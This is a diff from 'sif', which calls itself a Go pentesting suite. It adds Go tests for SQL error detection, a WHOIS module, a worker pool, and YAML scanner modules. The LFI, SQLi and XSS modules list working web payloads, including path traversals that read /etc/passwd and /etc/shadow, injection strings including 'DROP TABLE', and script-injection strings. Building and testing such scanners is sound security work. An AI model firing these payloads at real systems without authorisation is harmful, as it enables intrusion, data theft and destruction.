Status: 200,
|
||||
},
|
||||
},
|
||||
DatabaseErrors: []SQLDatabaseError{
|
||||
{
|
||||
URL: "http://example.com/?id=1'",
|
||||
DatabaseType: "MySQL",
|
||||
ErrorPattern: "mysql.*error",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if len(result.AdminPanels) != 1 {
|
||||
t.Errorf("expected 1 admin panel, got %d", len(result.AdminPanels))
|
||||
}
|
||||
if result.AdminPanels[0].Type != "phpMyAdmin" {
|
||||
t.Errorf("expected type 'phpMyAdmin', got '%s'", result.AdminPanels[0].Type)
|
||||
}
|
||||
if len(result.DatabaseErrors) != 1 {
|
||||
t.Errorf("expected 1 database error, got %d", len(result.DatabaseErrors))
|
||||
}
|
||||
if result.DatabaseErrors[0].DatabaseType != "MySQL" {
|
||||
t.Errorf("expected database type 'MySQL', got '%s'", result.DatabaseErrors[0].DatabaseType)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_MySQL(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"mysql error", "MySQL Error: Something went wrong", true},
|
||||
{"mysql syntax", "You have an error in your SQL syntax", true},
|
||||
{"mysql fetch", "Warning: mysql_fetch_array()", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_PostgreSQL(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"postgresql error", "PostgreSQL Error: connection failed", true},
|
||||
{"pg_query", "Warning: pg_query(): Query failed", true},
|
||||
{"unterminated string", "ERROR: unterminated quoted string", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_SQLServer(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"mssql error", "MSSQL Error: invalid query", true},
|
||||
{"sql server error", "Microsoft SQL Server Error", true},
|
||||
{"unclosed quote", "Unclosed quotation mark after the character string", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDatabaseErrorPatterns_Oracle(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"ora error code", "ORA-00942: table or view does not exist", true},
|
||||
{"oracle error", "Oracle Error: invalid identifier", true},
|
||||
{"no error", "Welcome to our website", false},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
found := false
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(tc.body) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if found != tc.expected {
|
||||
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLAdminPanelDetection(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/phpmyadmin/":
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><title>phpMyAdmin</title></html>"))
|
||||
case "/adminer/":
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><title>Adminer</title></html>"))
|
||||
default:
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// this is a basic test to verify the server mock works
|
||||
resp, err := http.Get(server.URL + "/phpmyadmin/")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to get phpmyadmin: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200 for /phpmyadmin/, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLDatabaseErrorDetection(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Query().Get("id") == "1'" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("MySQL Error: You have an error in your SQL syntax"))
|
||||
} else {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("Welcome to our website"))
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// verify server returns mysql error for injection attempt
|
||||
resp, err := http.Get(server.URL + "/?id=1'")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to make request: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,22 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
@@ -115,7 +127,7 @@ func checkSubdomainTakeover(subdomain string, client *http.Client) (bool, string
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
"github.com/likexian/whois"
|
||||
)
|
||||
|
||||
func Whois(url string, logdir string) {
|
||||
output.ScanStart("WHOIS lookup")
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, " WHOIS scanning"); err != nil {
|
||||
output.Error("Error creating log file: %v", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
result, err := whois.Whois(sanitizedURL)
|
||||
if err == nil {
|
||||
log.Info(result)
|
||||
logger.Write(sanitizedURL, logdir, result)
|
||||
output.ScanComplete("WHOIS lookup", 1, "completed")
|
||||
} else {
|
||||
output.Error("WHOIS lookup failed: %v", err)
|
||||
}
|
||||
}
|
||||
+32
-70
@@ -1,80 +1,42 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// Package styles provides custom styling options for the SIF tool's console output.
|
||||
// It uses the lipgloss library to create visually appealing and consistent text styles.
|
||||
|
||||
// This package re-exports styles from internal/output for backwards compatibility.
|
||||
package styles
|
||||
|
||||
import "github.com/charmbracelet/lipgloss"
|
||||
|
||||
var (
|
||||
// Separator style for creating visual breaks in the output
|
||||
Separator = lipgloss.NewStyle().
|
||||
Border(lipgloss.ThickBorder(), true, false).
|
||||
Bold(true)
|
||||
|
||||
// Status style for highlighting important status messages
|
||||
Status = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(lipgloss.Color("#00ff1a"))
|
||||
|
||||
// Highlight style for emphasizing specific text
|
||||
Highlight = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Underline(true)
|
||||
|
||||
// Box style for creating bordered content boxes
|
||||
Box = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(lipgloss.Color("#fafafa")).
|
||||
BorderStyle(lipgloss.RoundedBorder()).
|
||||
Align(lipgloss.Center).
|
||||
PaddingRight(15).
|
||||
PaddingLeft(15).
|
||||
Width(60)
|
||||
|
||||
// Subheading style for secondary titles or headers
|
||||
Subheading = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Align(lipgloss.Center).
|
||||
PaddingRight(15).
|
||||
PaddingLeft(15).
|
||||
Width(60)
|
||||
import (
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
// Severity level styles for color-coding vulnerability severities
|
||||
// Re-export styles from output package
|
||||
var (
|
||||
SeverityLow = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color("#00ff00"))
|
||||
|
||||
SeverityMedium = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color("#ffff00"))
|
||||
|
||||
SeverityHigh = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color("#ff8800"))
|
||||
|
||||
SeverityCritical = lipgloss.NewStyle().
|
||||
Foreground(lipgloss.Color("#ff0000"))
|
||||
Status = output.Status
|
||||
Highlight = output.Highlight
|
||||
Box = output.Box
|
||||
Subheading = output.Subheading
|
||||
)
|
||||
|
||||
// Separator style - kept for backwards compatibility but deprecated
|
||||
// Use output.ScanStart() instead
|
||||
var Separator = lipgloss.NewStyle().
|
||||
Border(lipgloss.ThickBorder(), true, false).
|
||||
Bold(true)
|
||||
|
||||
// Severity level styles - re-exported from output
|
||||
var (
|
||||
SeverityLow = output.SeverityLow
|
||||
SeverityMedium = output.SeverityMedium
|
||||
SeverityHigh = output.SeverityHigh
|
||||
SeverityCritical = output.SeverityCritical
|
||||
)
|
||||
|
||||
@@ -0,0 +1,170 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// Package worker provides a generic worker pool for concurrent task processing.
|
||||
package worker
|
||||
|
||||
import "sync"
|
||||
|
||||
// Pool manages a pool of workers that process items concurrently.
|
||||
// It uses channel-based distribution for efficient load balancing.
|
||||
type Pool[T any, R any] struct {
|
||||
workers int
|
||||
fn func(T) R
|
||||
}
|
||||
|
||||
// New creates a new worker pool with the specified number of workers
|
||||
// and a processing function.
|
||||
func New[T any, R any](workers int, fn func(T) R) *Pool[T, R] {
|
||||
if workers < 1 {
|
||||
workers = 1
|
||||
}
|
||||
return &Pool[T, R]{
|
||||
workers: workers,
|
||||
fn: fn,
|
||||
}
|
||||
}
|
||||
|
||||
// Run processes all items concurrently and returns the results.
|
||||
// Items are distributed via a channel for optimal load balancing.
|
||||
func (p *Pool[T, R]) Run(items []T) []R {
|
||||
if len(items) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
input := make(chan T, len(items))
|
||||
output := make(chan R, len(items))
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(p.workers)
|
||||
|
||||
// Start workers
|
||||
for i := 0; i < p.workers; i++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for item := range input {
|
||||
output <- p.fn(item)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Feed items to workers
|
||||
for _, item := range items {
|
||||
input <- item
|
||||
}
|
||||
close(input)
|
||||
|
||||
// Wait for all workers to finish, then close output
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(output)
|
||||
}()
|
||||
|
||||
// Collect results
|
||||
results := make([]R, 0, len(items))
|
||||
for r := range output {
|
||||
results = append(results, r)
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// RunWithFilter processes items concurrently and returns only non-zero results.
|
||||
// Useful when the processing function may return zero values for filtered items.
|
||||
func (p *Pool[T, R]) RunWithFilter(items []T, filter func(R) bool) []R {
|
||||
if len(items) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
input := make(chan T, len(items))
|
||||
output := make(chan R, len(items))
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(p.workers)
|
||||
|
||||
// Start workers
|
||||
for i := 0; i < p.workers; i++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for item := range input {
|
||||
result := p.fn(item)
|
||||
if filter(result) {
|
||||
output <- result
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Feed items to workers
|
||||
for _, item := range items {
|
||||
input <- item
|
||||
}
|
||||
close(input)
|
||||
|
||||
// Wait for all workers to finish, then close output
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(output)
|
||||
}()
|
||||
|
||||
// Collect results
|
||||
results := make([]R, 0, len(items)/2) // Estimate half will pass filter
|
||||
for r := range output {
|
||||
results = append(results, r)
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ForEach processes items concurrently without collecting results.
|
||||
// Useful for side-effect operations like logging or writing to external stores.
|
||||
func (p *Pool[T, R]) ForEach(items []T, callback func(R)) {
|
||||
if len(items) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
input := make(chan T, len(items))
|
||||
output := make(chan R, len(items))
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(p.workers)
|
||||
|
||||
// Start workers
|
||||
for i := 0; i < p.workers; i++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for item := range input {
|
||||
output <- p.fn(item)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Feed items to workers
|
||||
for _, item := range items {
|
||||
input <- item
|
||||
}
|
||||
close(input)
|
||||
|
||||
// Process results as they come in
|
||||
var outputWg sync.WaitGroup
|
||||
outputWg.Add(1)
|
||||
go func() {
|
||||
defer outputWg.Done()
|
||||
for r := range output {
|
||||
callback(r)
|
||||
}
|
||||
}()
|
||||
|
||||
wg.Wait()
|
||||
close(output)
|
||||
outputWg.Wait()
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package worker
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPoolRun(t *testing.T) {
|
||||
pool := New(4, func(x int) int {
|
||||
return x * 2
|
||||
})
|
||||
|
||||
items := []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
|
||||
results := pool.Run(items)
|
||||
|
||||
if len(results) != len(items) {
|
||||
t.Errorf("Expected %d results, got %d", len(items), len(results))
|
||||
}
|
||||
|
||||
// Sort results since order is not guaranteed
|
||||
sort.Ints(results)
|
||||
expected := []int{2, 4, 6, 8, 10, 12, 14, 16, 18, 20}
|
||||
for i, v := range results {
|
||||
if v != expected[i] {
|
||||
t.Errorf("Expected results[%d] = %d, got %d", i, expected[i], v)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolRunEmpty(t *testing.T) {
|
||||
pool := New(4, func(x int) int {
|
||||
return x * 2
|
||||
})
|
||||
|
||||
results := pool.Run(nil)
|
||||
if results != nil {
|
||||
t.Errorf("Expected nil for empty input, got %v", results)
|
||||
}
|
||||
|
||||
results = pool.Run([]int{})
|
||||
if results != nil {
|
||||
t.Errorf("Expected nil for empty slice, got %v", results)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolRunWithFilter(t *testing.T) {
|
||||
pool := New(4, func(x int) int {
|
||||
return x * 2
|
||||
})
|
||||
|
||||
items := []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
|
||||
results := pool.RunWithFilter(items, func(r int) bool {
|
||||
return r > 10 // Only keep results > 10
|
||||
})
|
||||
|
||||
// Should have 5 results: 12, 14, 16, 18, 20
|
||||
if len(results) != 5 {
|
||||
t.Errorf("Expected 5 results, got %d", len(results))
|
||||
}
|
||||
|
||||
sort.Ints(results)
|
||||
expected := []int{12, 14, 16, 18, 20}
|
||||
for i, v := range results {
|
||||
if v != expected[i] {
|
||||
t.Errorf("Expected results[%d] = %d, got %d", i, expected[i], v)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolForEach(t *testing.T) {
|
||||
var sum atomic.Int64
|
||||
|
||||
pool := New(4, func(x int) int {
|
||||
return x * 2
|
||||
})
|
||||
|
||||
items := []int{1, 2, 3, 4, 5}
|
||||
pool.ForEach(items, func(r int) {
|
||||
sum.Add(int64(r))
|
||||
})
|
||||
|
||||
// Sum should be 2+4+6+8+10 = 30
|
||||
if sum.Load() != 30 {
|
||||
t.Errorf("Expected sum = 30, got %d", sum.Load())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolSingleWorker(t *testing.T) {
|
||||
pool := New(1, func(x int) int {
|
||||
return x + 1
|
||||
})
|
||||
|
||||
items := []int{1, 2, 3}
|
||||
results := pool.Run(items)
|
||||
|
||||
if len(results) != 3 {
|
||||
t.Errorf("Expected 3 results, got %d", len(results))
|
||||
}
|
||||
|
||||
sort.Ints(results)
|
||||
expected := []int{2, 3, 4}
|
||||
for i, v := range results {
|
||||
if v != expected[i] {
|
||||
t.Errorf("Expected results[%d] = %d, got %d", i, expected[i], v)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolZeroWorkers(t *testing.T) {
|
||||
// Zero workers should default to 1
|
||||
pool := New(0, func(x int) int {
|
||||
return x
|
||||
})
|
||||
|
||||
if pool.workers != 1 {
|
||||
t.Errorf("Expected workers = 1, got %d", pool.workers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolStringProcessing(t *testing.T) {
|
||||
pool := New(2, func(s string) int {
|
||||
return len(s)
|
||||
})
|
||||
|
||||
items := []string{"a", "bb", "ccc", "dddd"}
|
||||
results := pool.Run(items)
|
||||
|
||||
sort.Ints(results)
|
||||
expected := []int{1, 2, 3, 4}
|
||||
for i, v := range results {
|
||||
if v != expected[i] {
|
||||
t.Errorf("Expected results[%d] = %d, got %d", i, expected[i], v)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolStructProcessing(t *testing.T) {
|
||||
type input struct {
|
||||
a int
|
||||
b int
|
||||
}
|
||||
type output struct {
|
||||
sum int
|
||||
prod int
|
||||
}
|
||||
|
||||
pool := New(3, func(in input) output {
|
||||
return output{sum: in.a + in.b, prod: in.a * in.b}
|
||||
})
|
||||
|
||||
items := []input{{1, 2}, {3, 4}, {5, 6}}
|
||||
results := pool.Run(items)
|
||||
|
||||
if len(results) != 3 {
|
||||
t.Errorf("Expected 3 results, got %d", len(results))
|
||||
}
|
||||
|
||||
// Verify all expected outputs are present
|
||||
found := make(map[output]bool)
|
||||
for _, r := range results {
|
||||
found[r] = true
|
||||
}
|
||||
|
||||
expectedOutputs := []output{{3, 2}, {7, 12}, {11, 30}}
|
||||
for _, exp := range expectedOutputs {
|
||||
if !found[exp] {
|
||||
t.Errorf("Expected output %v not found in results", exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
# Basic LFI Detection Module
|
||||
|
||||
id: lfi-basic
|
||||
info:
|
||||
name: Basic LFI Detection
|
||||
author: sif
|
||||
severity: high
|
||||
description: Detects basic Local File Inclusion vulnerabilities
|
||||
tags: [lfi, injection, file-inclusion, owasp-top10]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/?file={{payload}}"
|
||||
- "{{BaseURL}}/?page={{payload}}"
|
||||
- "{{BaseURL}}/?path={{payload}}"
|
||||
- "{{BaseURL}}/?include={{payload}}"
|
||||
- "{{BaseURL}}/?doc={{payload}}"
|
||||
- "{{BaseURL}}/?template={{payload}}"
|
||||
|
||||
payloads:
|
||||
- "../../../../../../../etc/passwd"
|
||||
- "....//....//....//....//....//etc/passwd"
|
||||
- "..%2f..%2f..%2f..%2f..%2fetc/passwd"
|
||||
- "/etc/passwd"
|
||||
- "../../../../../../../etc/shadow"
|
||||
- "../../../../../../../windows/system32/drivers/etc/hosts"
|
||||
|
||||
threads: 10
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "root:.*:0:0:"
|
||||
- "daemon:.*:1:1:"
|
||||
- "nobody:.*:65534:"
|
||||
- "127\\.0\\.0\\.1\\s+localhost"
|
||||
condition: or
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: detected_file
|
||||
part: body
|
||||
regex:
|
||||
- "(root|daemon|nobody):.*:[0-9]+:[0-9]+:"
|
||||
group: 0
|
||||
@@ -0,0 +1,66 @@
|
||||
# SQL Injection Error-Based Detection Module
|
||||
|
||||
id: sqli-error-based
|
||||
info:
|
||||
name: SQL Injection (Error-Based)
|
||||
author: sif
|
||||
severity: high
|
||||
description: Detects SQL injection via database error messages
|
||||
tags: [sqli, injection, database, owasp-top10]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/?id={{payload}}"
|
||||
- "{{BaseURL}}/?user={{payload}}"
|
||||
- "{{BaseURL}}/?search={{payload}}"
|
||||
- "{{BaseURL}}/?q={{payload}}"
|
||||
- "{{BaseURL}}/?query={{payload}}"
|
||||
- "{{BaseURL}}/?cat={{payload}}"
|
||||
|
||||
payloads:
|
||||
- "'"
|
||||
- "''"
|
||||
- "1'"
|
||||
- "1' OR '1'='1"
|
||||
- "1' OR '1'='1'--"
|
||||
- "1' OR '1'='1'/*"
|
||||
- "1; DROP TABLE--"
|
||||
- "' UNION SELECT NULL--"
|
||||
- "1 AND 1=1"
|
||||
- "1 AND 1=2"
|
||||
|
||||
threads: 10
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "SQL syntax.*MySQL"
|
||||
- "Warning.*mysql_"
|
||||
- "MySqlException"
|
||||
- "valid MySQL result"
|
||||
- "ORA-[0-9]+"
|
||||
- "Oracle.*Driver"
|
||||
- "Oracle.*Error"
|
||||
- "PostgreSQL.*ERROR"
|
||||
- "pg_query.*failed"
|
||||
- "Microsoft SQL Server"
|
||||
- "ODBC SQL Server Driver"
|
||||
- "SQLite3::"
|
||||
- "sqlite_query"
|
||||
- "SQLite/JDBCDriver"
|
||||
- "SQL Server.*Driver"
|
||||
- "Unclosed quotation mark"
|
||||
- "quoted string not properly terminated"
|
||||
condition: or
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: db_type
|
||||
part: body
|
||||
regex:
|
||||
- "(MySQL|PostgreSQL|Oracle|MSSQL|SQLite|MariaDB)"
|
||||
group: 1
|
||||
@@ -0,0 +1,41 @@
|
||||
# Reflected XSS Detection Module
|
||||
|
||||
id: xss-reflected
|
||||
info:
|
||||
name: Reflected XSS Detection
|
||||
author: sif
|
||||
severity: medium
|
||||
description: Detects reflected Cross-Site Scripting vulnerabilities
|
||||
tags: [xss, injection, javascript, owasp-top10]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}/?q={{payload}}"
|
||||
- "{{BaseURL}}/?search={{payload}}"
|
||||
- "{{BaseURL}}/?name={{payload}}"
|
||||
- "{{BaseURL}}/?input={{payload}}"
|
||||
- "{{BaseURL}}/?message={{payload}}"
|
||||
- "{{BaseURL}}/?text={{payload}}"
|
||||
|
||||
payloads:
|
||||
- "<script>alert('XSS')</script>"
|
||||
- "'><script>alert('XSS')</script>"
|
||||
- "\"><script>alert('XSS')</script>"
|
||||
- "<img src=x onerror=alert('XSS')>"
|
||||
- "<svg onload=alert('XSS')>"
|
||||
- "javascript:alert('XSS')"
|
||||
- "<body onload=alert('XSS')>"
|
||||
|
||||
threads: 10
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "<script>alert('XSS')</script>"
|
||||
- "<img src=x onerror=alert('XSS')>"
|
||||
- "<svg onload=alert('XSS')>"
|
||||
condition: or
|
||||
@@ -0,0 +1,35 @@
|
||||
# Drupal CMS Detection Module
|
||||
|
||||
id: cms-drupal
|
||||
info:
|
||||
name: Drupal Detection
|
||||
author: sif
|
||||
severity: info
|
||||
description: Detects Drupal CMS installations
|
||||
tags: [cms, drupal, detection, info]
|
||||
|
||||
type: http
|
||||
|
||||
http:
|
||||
method: GET
|
||||
paths:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: all
|
||||
words:
|
||||
- "Drupal.settings"
|
||||
- "X-Drupal-Cache"
|
||||
- "/sites/default/files"
|
||||
- "drupal.js"
|
||||
condition: or
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: drupal_version
|
||||
part: body
|
||||
regex:
|
||||
- 'Drupal ([0-9.]+)'
|
||||
- 'content="Drupal ([0-9.]+)"'
|
||||
group: 1
|
||||
@@ -0,0 +1,37 @@
|
||||
# WordPress CMS Detection Module
|
||||
|
||||
id: cms-wordpress
|
||||
